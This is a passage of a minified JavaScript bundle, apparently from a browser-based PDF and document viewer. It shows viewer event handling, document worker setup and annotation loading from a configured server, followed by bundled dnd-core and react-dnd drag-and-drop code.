ventListener("fullscreenchange",b),document.addEventListener("mozfullscreenchange",b),document.addEventListener("webkitfullscreenchange",b),document.addEventListener("MSFullscreenChange",b)},removeEventHandlers:function(){vt.removeEventListener("beforeDocumentLoaded",n),vt.removeEventListener("displayModeUpdated",i),vt.removeEventListener("documentLoaded",a),vt.removeEventListener("documentUnloaded",l),vt.removeEventListener("fitModeUpdated",s),vt.removeEventListener("rotationUpdated",u),vt.removeEventListener("toolUpdated",c),vt.removeEventListener("toolModeUpdated",f),vt.removeEventListener("zoomUpdated",d),vt.removeEventListener("pageNumberUpdated",p),vt.removeEventListener("pagesUpdated",w),vt.removeEventListener("updateAnnotationPermission",h),vt.removeEventListener("annotationChanged",m),vt.removeEventListener("pageComplete",O),vt.removeEventListener("fileAttachmentDataAvailable",_),vt.removeEventListener("formFieldCreationModeStarted",M),vt.removeEventListener("formFieldCreationModeEnded",R),vt.removeEventListener("digitalSignatureAvailable",j),vt.getTool("AnnotationCreateStamp").removeEventListener("annotationAdded",g),vt.getTool("AnnotationCreateSticky").removeEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSticky2").removeEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSticky3").removeEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSticky4").removeEventListener("annotationAdded",y),vt.getTool("AnnotationCreateSignature").removeEventListener("locationSelected",E),vt.getTool(e1.FORM_FILL_DOT).removeEventListener("annotationAdded",S),vt.getTool("AnnotationCreateRubberStamp").removeEventListener("annotationAdded",C),vt.getTool("AnnotationCreateFileAttachment").removeEventListener("annotationAdded",A),vt.getTool(e1.FORM_FILL_CROSS).removeEventListener("annotationAdded",o),vt.getTool(e1.FORM_FILL_CHECKMARK).removeEventListener("annotationAdded",r),qc.off(),document.removeEventListener("fullscreenchange",b),document.removeEventListener("mozfullscreenchange",b),document.removeEventListener("webkitfullscreenchange",b),document.removeEventListener("MSFullscreenChange",b)}}}(z9),X9=K9.addEventHandlers,Q9=K9.removeEventHandlers;G9.then((function(){return y0()})).then((function(){var e,t,n,r,o;(Y9&&(e=zu,t=Uu,n=Gu,r=Zu,o=Yu,(Y9.includes(e)||Y9===o)&&f0(lh("pdf","auto")).then((function(e){window.Core.initPDFWorkerTransports(e,{workerLoadingProgress:function(e){z9.dispatch(Ps.setLoadingProgress(e))}},window.sampleL)})),(Y9.includes(t)||Y9===o)&&f0(lh("office","auto")).then((function(e){window.Core.initOfficeWorkerTransports(e,{workerLoadingProgress:function(e){z9.dispatch(Ps.setLoadingProgress(e))}},window.sampleL)})),(Y9.includes(n)||Y9===o)&&f0(lh("legacyOffice","auto")).then((function(e){window.Core.initLegacyOfficeWorkerTransports(e,{workerLoadingProgress:function(e){z9.dispatch(Ps.setLoadingProgress(e))}},window.sampleL)})),(Y9.includes(r)||Y9===o)&&window.Core.ContentEdit.preloadWorker(window.documentViewer)),lh("disableVirtualDisplayMode",!1))&&$9.getDisplayModeManager().disableVirtualDisplayMode();if(lh("enableViewStateAnnotations",!1)){var i=$9.getTool(window.Core.Tools.ToolNames.STICKY);null==i||i.setSaveViewState(!0)}!function(e){var t=e.getState(),n=t.advanced.serverUrl,r=t.advanced.serverUrlHeaders;if(n){var o=function(e,t){var o=vt.getDocument().getDocumentId();window.instance.UI.serverFailed?t(e):window.instance.UI.loadedFromServer?t(""):(-1===n.indexOf("?")?n+="?_=".concat(Date.now()):n+="&_=".concat(Date.now()),o&&(n+="&did=".concat(o)),n=o?"".concat(n,"?did=").concat(o):n,fetch(n,{headers:r,credentials:"include"}).then((function(e){return e.ok?e.text():Promise.reject(e)})).then((function(n){null!=n?(window.instance.UI.loadedFromServer=!0,t(n)):(window.instance.UI.serverFailed=!0,t(e))})).catch((function(n){window.instance.UI.serverFailed=!0,console.warn("Error ".concat(n.status,": Annotations could not be loaded from the server.")),t(e)})))};vt.setInternalAnnotationsTransform(o),vt.setPagesUpdatedInternalAnnotationsTransform((function(e,t,n){o(e,n)})),vt.addEventListener("documentLoaded",(function(){window.documentViewer.getDocument().getType()===Uu&&o(null,(function(e){window.documentViewer.getAnnotationManager().importAnnotations(e)}))}))}}(z9),c.a.render(s.a.createElement(y,{store:z9},s.a.createElement(V2,{loading:null,persistor:U9},s.a.createElement(we,{i18n:st},s.a.createElement(dt.a,{backend:pt.a},s.a.createElement(c0,{removeEventHandlers:Q9}))))),document.getElementById("app"))})),X9(),function(e){var t=e.dispatch,n=(0,e.getState)(),r=jh(e);if(n.advanced.defaultDisabledElements){var o=n.advanced.defaultDisabledElements.split(",");t(Ps.disableElements(o,3))}n.viewer.isReadOnly&&vt.setReadOnly(n.viewer.isReadOnly),lh("notesInLeftPanel",!1)&&t(Ps.disableElements(["toggleNotesButton"])),!lh("a",!1)&&r([Wp.Annotations]),!lh("filepicker",!1)&&r([Wp.FilePicker]),lh("hideAnnotationPanel",!1)&&r([Wp.NotesPanel]),lh("disableToolGroupReordering",!1)&&t(Ps.setEnableToolGroupReordering(!1)),!lh("enableMeasurement",!1)?r([Wp.Measurement]):t(Ps.disableElements(["cloudyRectangleAreaToolGroupButton"])),!(lh("enableRedaction",!1)||vt.isCreateRedactionEnabled())&&r([Wp.Redaction]),!lh("toolbar",!0)&&t(Ps.disableElement("header",1)),t(jt?Ps.disableElement("marqueeToolButton",3):Ps.disableElement("textSelectButton",3)),Mt&&t(Ps.disableElements(["fullscreenButton"],3)),vt.isFullPDFEnabled()||(t(Ps.disableElements(["measurementSnappingOption","signaturePanel","signaturePanelButton"],3)),r([Wp.OutlineEditing])),t(Ps.disableElements(["contentEditButton"],2)),t(Ps.disableElements(["layersPanel","layersPanelButton","bookmarksPanel","bookmarksPanelButton","wildCardSearchOption","readerPageTransitionButton","mathSymbolsButton","threeDToolGroupButton","attachmentPanelButton"],1)),lh("ChangeView",!1)||r([Wp.ChangeView])}(z9)}function J9(e){"Tab"===e.key&&(document.documentElement.setAttribute("data-tabbing","true"),window.removeEventListener("keydown",J9),window.addEventListener("mousedown",e7))}function e7(){document.documentElement.removeAttribute("data-tabbing"),window.removeEventListener("mousedown",e7),window.addEventListener("keydown",J9)}window.addEventListener("hashchange",(function(){window.location.reload()})),window.addEventListener("keydown",J9)},function(e,t,n){"use strict";n.d(t,"a",(function(){return Me}));var r=n(9),o="dnd-core/INIT_COORDS",i="dnd-core/BEGIN_DRAG",a="dnd-core/PUBLISH_DRAG_SOURCE",l="dnd-core/HOVER",s="dnd-core/DROP",u="dnd-core/END_DRAG";function c(e,t){return{type:o,payload:{sourceClientOffset:t||null,clientOffset:e||null}}}function f(e){return(f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function d(e,t,n){return t.split(".").reduce((function(e,t){return e&&e[t]?e[t]:n||null}),e)}function p(e,t){return e.filter((function(e){return e!==t}))}function h(e){return"object"===f(e)}function m(e,t){var n=new Map,r=function(e){n.set(e,n.has(e)?n.get(e)+1:1)};e.forEach(r),t.forEach(r);var o=[];return n.forEach((function(e,t){1===e&&o.push(t)})),o}var g={type:o,payload:{clientOffset:null,sourceClientOffset:null}};function v(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{publishSource:!0},r=n.publishSource,o=void 0===r||r,a=n.clientOffset,l=n.getSourceClientOffset,s=e.getMonitor(),u=e.getRegistry();e.dispatch(c(a)),y(t,s,u);var f=E(t,s);if(null!==f){var d=null;if(a){if(!l)throw new Error("getSourceClientOffset must be defined");b(l),d=l(f)}e.dispatch(c(a,d));var p=u.getSource(f),h=p.beginDrag(s,f);if(null!=h){w(h),u.pinSource(f);var m=u.getSourceType(f);return{type:i,payload:{itemType:m,item:h,sourceId:f,clientOffset:a||null,sourceClientOffset:d||null,isSourcePublic:!!o}}}}else e.dispatch(g)}}function y(e,t,n){Object(r.a)(!t.isDragging(),"Cannot call beginDrag while dragging."),e.forEach((function(e){Object(r.a)(n.getSource(e),"Expected sourceIds to be registered.")}))}function b(e){Object(r.a)("function"==typeof e,"When clientOffset is provided, getSourceClientOffset must be a function.")}function w(e){Object(r.a)(h(e),"Item must be an object.")}function E(e,t){for(var n=null,r=e.length-1;r>=0;r--)if(t.canDragSource(e[r])){n=e[r];break}return n}function S(e){return function(){if(e.getMonitor().isDragging())return{type:a}}}function C(e,t){return null===t?null===e:Array.isArray(e)?e.some((function(e){return e===t})):e===t}function x(e){return function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=n.clientOffset;O(t);var o=t.slice(0),i=e.getMonitor(),a=e.getRegistry();A(o,i,a);var s=i.getItemType();return _(o,a,s),T(o,i,a),{type:l,payload:{targetIds:o,clientOffset:r||null}}}}function O(e){Object(r.a)(Array.isArray(e),"Expected targetIds to be an array.")}function A(e,t,n){Object(r.a)(t.isDragging(),"Cannot call hover while not dragging."),Object(r.a)(!t.didDrop(),"Cannot call hover after drop.");for(var o=0;o<e.length;o++){var i=e[o];Object(r.a)(e.lastIndexOf(i)===o,"Expected targetIds to be unique in the passed array.");var a=n.getTarget(i);Object(r.a)(a,"Expected targetIds to be registered.")}}function _(e,t,n){for(var r=e.length-1;r>=0;r--){var o=e[r];C(t.getTargetType(o),n)||e.splice(r,1)}}function T(e,t,n){e.forEach((function(e){n.getTarget(e).hover(t,e)}))}function k(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function P(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?k(Object(n),!0).forEach((function(t){M(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):k(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function M(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function R(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=e.getMonitor(),r=e.getRegistry();j(n);var o=I(n);o.forEach((function(o,i){var a=L(o,i,r,n),l={type:s,payload:{dropResult:P(P({},t),a)}};e.dispatch(l)}))}}function j(e){Object(r.a)(e.isDragging(),"Cannot call drop while not dragging."),Object(r.a)(!e.didDrop(),"Cannot call drop twice during one drag operation.")}function L(e,t,n,o){var i=n.getTarget(e),a=i?i.drop(o,e):void 0;return function(e){Object(r.a)(void 0===e||h(e),"Drop result must either be an object or undefined.")}(a),void 0===a&&(a=0===t?{}:o.getDropResult()),a}function I(e){var t=e.getTargetIds().filter(e.canDropOnTarget,e);return t.reverse(),t}function N(e){return function(){var t=e.getMonitor(),n=e.getRegistry();!function(e){Object(r.a)(e.isDragging(),"Cannot call endDrag while not dragging.")}(t);var o=t.getSourceId();null!=o&&(n.getSource(o,!0).endDrag(t,o),n.unpinSource());return{type:u}}}function D(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function F(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var B=function(){function e(t,n){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),F(this,"store",void 0),F(this,"monitor",void 0),F(this,"backend",void 0),F(this,"isSetUp",!1),F(this,"handleRefCountChange",(function(){var e=r.store.getState().refCount>0;r.backend&&(e&&!r.isSetUp?(r.backend.setup(),r.isSetUp=!0):!e&&r.isSetUp&&(r.backend.teardown(),r.isSetUp=!1))})),this.store=t,this.monitor=n,t.subscribe(this.handleRefCountChange)}var t,n,r;return t=e,(n=[{key:"receiveBackend",value:function(e){this.backend=e}},{key:"getMonitor",value:function(){return this.monitor}},{key:"getBackend",value:function(){return this.backend}},{key:"getRegistry",value:function(){return this.monitor.registry}},{key:"getActions",value:function(){var e=this,t=this.store.dispatch,n=function(e){return{beginDrag:v(e),publishDragSource:S(e),hover:x(e),drop:R(e),endDrag:N(e)}}(this);return Object.keys(n).reduce((function(r,o){var i,a=n[o];return r[o]=(i=a,function(){for(var n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];var a=i.apply(e,r);void 0!==a&&t(a)}),r}),{})}},{key:"dispatch",value:function(e){this.store.dispatch(e)}}])&&D(t.prototype,n),r&&D(t,r),e}(),H=n(58),V=function(e,t){return e===t};function z(e,t){return!e&&!t||!(!e||!t)&&(e.x===t.x&&e.y===t.y)}function U(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:V;if(e.length!==t.length)return!1;for(var r=0;r<e.length;++r)if(!n(e[r],t[r]))return!1;return!0}function G(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function W(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?G(Object(n),!0).forEach((function(t){q(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):G(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function q(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Z={initialSourceClientOffset:null,initialClientOffset:null,clientOffset:null};function Y(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Z,t=arguments.length>1?arguments[1]:void 0,n=t.payload;switch(t.type){case o:case i:return{initialSourceClientOffset:n.sourceClientOffset,initialClientOffset:n.clientOffset,clientOffset:n.clientOffset};case l:return z(e.clientOffset,n.clientOffset)?e:W(W({},e),{},{clientOffset:n.clientOffset});case u:case s:return Z;default:return e}}var $="dnd-core/ADD_SOURCE",K="dnd-core/ADD_TARGET",X="dnd-core/REMOVE_SOURCE",Q="dnd-core/REMOVE_TARGET";function J(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function ee(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?J(Object(n),!0).forEach((function(t){te(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):J(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function te(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ne={itemType:null,item:null,sourceId:null,targetIds:[],dropResult:null,didDrop:!1,isSourcePublic:null};function re(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ne,t=arguments.length>1?arguments[1]:void 0,n=t.payload;switch(t.type){case i:return ee(ee({},e),{},{itemType:n.itemType,item:n.item,sourceId:n.sourceId,isSourcePublic:n.isSourcePublic,dropResult:null,didDrop:!1});case a:return ee(ee({},e),{},{isSourcePublic:!0});case l:return ee(ee({},e),{},{targetIds:n.targetIds});case Q:return-1===e.targetIds.indexOf(n.targetId)?e:ee(ee({},e),{},{targetIds:p(e.targetIds,n.targetId)});case s:return ee(ee({},e),{},{dropResult:n.dropResult,didDrop:!0,targetIds:[]});case u:return ee(ee({},e),{},{itemType:null,item:null,sourceId:null,dropResult:null,didDrop:!1,isSourcePublic:null,targetIds:[]});default:return e}}function oe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case $:case K:return e+1;case X:case Q:return e-1;default:return e}}var ie=[],ae=[];function le(e,t){return e!==ie&&(e===ae||void 0===t||(n=e,t.filter((function(e){return n.indexOf(e)>-1}))).length>0);var n}function se(){var e=arguments.length>1?arguments[1]:void 0;switch(e.type){case l:break;case $:case K:case Q:case X:return ie;case i:case a:case u:case s:default:return ae}var t=e.payload,n=t.targetIds,r=void 0===n?[]:n,o=t.prevTargetIds,c=void 0===o?[]:o,f=m(r,c),d=f.length>0||!U(r,c);if(!d)return ie;var p=c[c.length-1],h=r[r.length-1];return p!==h&&(p&&f.push(p),h&&f.push(h)),f}function ue(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return e+1}function ce(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function fe(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ce(Object(n),!0).forEach((function(t){de(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ce(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function de(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function pe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return{dirtyHandlerIds:se(e.dirtyHandlerIds,{type:t.type,payload:fe(fe({},t.payload),{},{prevTargetIds:d(e,"dragOperation.targetIds",[])})}),dragOffset:Y(e.dragOffset,t),refCount:oe(e.refCount,t),dragOperation:re(e.dragOperation,t),stateId:ue(e.stateId)}}function he(e,t){return{x:e.x-t.x,y:e.y-t.y}}function me(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ge(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}ie.__IS_NONE__=!0,ae.__IS_ALL__=!0;var ve,ye=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),ge(this,"store",void 0),ge(this,"registry",void 0),this.store=t,this.registry=n}var t,n,o;return t=e,(n=[{key:"subscribeToStateChange",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{handlerIds:void 0},o=n.handlerIds;Object(r.a)("function"==typeof e,"listener must be a function."),Object(r.a)(void 0===o||Array.isArray(o),"handlerIds, when specified, must be an array of strings.");var i=this.store.getState().stateId,a=function(){var n=t.store.getState(),r=n.stateId;try{r===i||r===i+1&&!le(n.dirtyHandlerIds,o)||e()}finally{i=r}};return this.store.subscribe(a)}},{key:"subscribeToOffsetChange",value:function(e){var t=this;Object(r.a)("function"==typeof e,"listener must be a function.");var n=this.store.getState().dragOffset;return this.store.subscribe((function(){var r=t.store.getState().dragOffset;r!==n&&(n=r,e())}))}},{key:"canDragSource",value:function(e){if(!e)return!1;var t=this.registry.getSource(e);return Object(r.a)(t,"Expected to find a valid source. sourceId=".concat(e)),!this.isDragging()&&t.canDrag(this,e)}},{key:"canDropOnTarget",value:function(e){if(!e)return!1;var t=this.registry.getTarget(e);return Object(r.a)(t,"Expected to find a valid target. targetId=".concat(e)),!(!this.isDragging()||this.didDrop())&&C(this.registry.getTargetType(e),this.getItemType())&&t.canDrop(this,e)}},{key:"isDragging",value:function(){return Boolean(this.getItemType())}},{key:"isDraggingSource",value:function(e){if(!e)return!1;var t=this.registry.getSource(e,!0);return Object(r.a)(t,"Expected to find a valid source. sourceId=".concat(e)),!(!this.isDragging()||!this.isSourcePublic())&&this.registry.getSourceType(e)===this.getItemType()&&t.isDragging(this,e)}},{key:"isOverTarget",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{shallow:!1};if(!e)return!1;var n=t.shallow;if(!this.isDragging())return!1;var r=this.registry.getTargetType(e),o=this.getItemType();if(o&&!C(r,o))return!1;var i=this.getTargetIds();if(!i.length)return!1;var a=i.indexOf(e);return n?a===i.length-1:a>-1}},{key:"getItemType",value:function(){return this.store.getState().dragOperation.itemType}},{key:"getItem",value:function(){return this.store.getState().dragOperation.item}},{key:"getSourceId",value:function(){return this.store.getState().dragOperation.sourceId}},{key:"getTargetIds",value:function(){return this.store.getState().dragOperation.targetIds}},{key:"getDropResult",value:function(){return this.store.getState().dragOperation.dropResult}},{key:"didDrop",value:function(){return this.store.getState().dragOperation.didDrop}},{key:"isSourcePublic",value:function(){return Boolean(this.store.getState().dragOperation.isSourcePublic)}},{key:"getInitialClientOffset",value:function(){return this.store.getState().dragOffset.initialClientOffset}},{key:"getInitialSourceClientOffset",value:function(){return this.store.getState().dragOffset.initialSourceClientOffset}},{key:"getClientOffset",value:function(){return this.store.getState().dragOffset.clientOffset}},{key:"getSourceClientOffset",value:function(){return e=this.store.getState().dragOffset,r=e.clientOffset,o=e.initialClientOffset,i=e.initialSourceClientOffset,r&&o&&i?he((n=i,{x:(t=r).x+n.x,y:t.y+n.y}),o):null;var e,t,n,r,o,i}},{key:"getDifferenceFromInitialOffset",value:function(){return e=this.store.getState().dragOffset,t=e.clientOffset,n=e.initialClientOffset,t&&n?he(t,n):null;var e,t,n}}])&&me(t.prototype,n),o&&me(t,o),e}(),be=0;function we(e){return(we="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ee(e,t){t&&Array.isArray(e)?e.forEach((function(e){return Ee(e,!1)})):Object(r.a)("string"==typeof e||"symbol"===we(e),t?"Type can only be a string, a symbol, or an array of either.":"Type can only be a string or a symbol.")}!function(e){e.SOURCE="SOURCE",e.TARGET="TARGET"}(ve||(ve={}));var Se=n(315);function Ce(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function xe(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Oe(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Ae(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Ae(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Ae(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function _e(e){var t=(be++).toString();switch(e){case ve.SOURCE:return"S".concat(t);case ve.TARGET:return"T".concat(t);default:throw new Error("Unknown Handler Role: ".concat(e))}}function Te(e){switch(e[0]){case"S":return ve.SOURCE;case"T":return ve.TARGET;default:Object(r.a)(!1,"Cannot parse handler ID: ".concat(e))}}function ke(e,t){var n=e.entries(),r=!1;do{var o=n.next(),i=o.done;if(Oe(o.value,2)[1]===t)return!0;r=!!i}while(!r);return!1}var Pe=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),xe(this,"types",new Map),xe(this,"dragSources",new Map),xe(this,"dropTargets",new Map),xe(this,"pinnedSourceId",null),xe(this,"pinnedSource",null),xe(this,"store",void 0),this.store=t}var t,n,o;return t=e,(n=[{key:"addSource",value:function(e,t){Ee(e),function(e){Object(r.a)("function"==typeof e.canDrag,"Expected canDrag to be a function."),Object(r.a)("function"==typeof e.beginDrag,"Expected beginDrag to be a function."),Object(r.a)("function"==typeof e.endDrag,"Expected endDrag to be a function.")}(t);var n=this.addHandler(ve.SOURCE,e,t);return this.store.dispatch(function(e){return{type:$,payload:{sourceId:e}}}(n)),n}},{key:"addTarget",value:function(e,t){Ee(e,!0),function(e){Object(r.a)("function"==typeof e.canDrop,"Expected canDrop to be a function."),Object(r.a)("function"==typeof e.hover,"Expected hover to be a function."),Object(r.a)("function"==typeof e.drop,"Expected beginDrag to be a function.")}(t);var n=this.addHandler(ve.TARGET,e,t);return this.store.dispatch(function(e){return{type:K,payload:{targetId:e}}}(n)),n}},{key:"containsHandler",value:function(e){return ke(this.dragSources,e)||ke(this.dropTargets,e)}},{key:"getSource",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];Object(r.a)(this.isSourceId(e),"Expected a valid source ID.");var n=t&&e===this.pinnedSourceId,o=n?this.pinnedSource:this.dragSources.get(e);return o}},{key:"getTarget",value:function(e){return Object(r.a)(this.isTargetId(e),"Expected a valid target ID."),this.dropTargets.get(e)}},{key:"getSourceType",value:function(e){return Object(r.a)(this.isSourceId(e),"Expected a valid source ID."),this.types.get(e)}},{key:"getTargetType",value:function(e){return Object(r.a)(this.isTargetId(e),"Expected a valid target ID."),this.types.get(e)}},{key:"isSourceId",value:function(e){return Te(e)===ve.SOURCE}},{key:"isTargetId",value:function(e){return Te(e)===ve.TARGET}},{key:"removeSource",value:function(e){var t=this;Object(r.a)(this.getSource(e),"Expected an existing source."),this.store.dispatch(function(e){return{type:X,payload:{sourceId:e}}}(e)),Object(Se.asap)((function(){t.dragSources.delete(e),t.types.delete(e)}))}},{key:"removeTarget",value:function(e){Object(r.a)(this.getTarget(e),"Expected an existing target."),this.store.dispatch(function(e){return{type:Q,payload:{targetId:e}}}(e)),this.dropTargets.delete(e),this.types.delete(e)}},{key:"pinSource",value:function(e){var t=this.getSource(e);Object(r.a)(t,"Expected an existing source."),this.pinnedSourceId=e,this.pinnedSource=t}},{key:"unpinSource",value:function(){Object(r.a)(this.pinnedSource,"No source is pinned at the time."),this.pinnedSourceId=null,this.pinnedSource=null}},{key:"addHandler",value:function(e,t,n){var r=_e(e);return this.types.set(r,t),e===ve.SOURCE?this.dragSources.set(r,n):e===ve.TARGET&&this.dropTargets.set(r,n),r}}])&&Ce(t.prototype,n),o&&Ce(t,o),e}();function Me(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3&&void 0!==arguments[3]&&arguments[3],o=Re(r),i=new ye(o,new Pe(o)),a=new B(o,i),l=e(a,t,n);return a.receiveBackend(l),a}function Re(e){var t="undefined"!=typeof window&&window.__REDUX_DEVTOOLS_EXTENSION__;return Object(H.c)(pe,e&&t&&t({name:"dnd-core",instanceId:"dnd-core"}))}},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";(function(e){n.d(t,"a",(function(){return p}));var r=n(122),o=n(0),i=n(1180),a=n(314),l=["children"];function s(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return u(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return u(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function u(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function c(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var f=0,d=Symbol.for("__REACT_DND_CONTEXT_INSTANCE__"),p=Object(o.memo)((function(e){var t=e.children,n=s(function(e){if("manager"in e){return[{dragDropManager:e.manager},!1]}var t=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:h(),n=arguments.length>2?arguments[2]:void 0,r=arguments.length>3?arguments[3]:void 0,o=t;o[d]||(o[d]={dragDropManager:Object(i.a)(e,t,n,r)});return o[d]}(e.backend,e.context,e.options,e.debugMode),n=!e.context;return[t,n]}(c(e,l)),2),u=n[0],p=n[1];return Object(o.useEffect)((function(){if(p){var 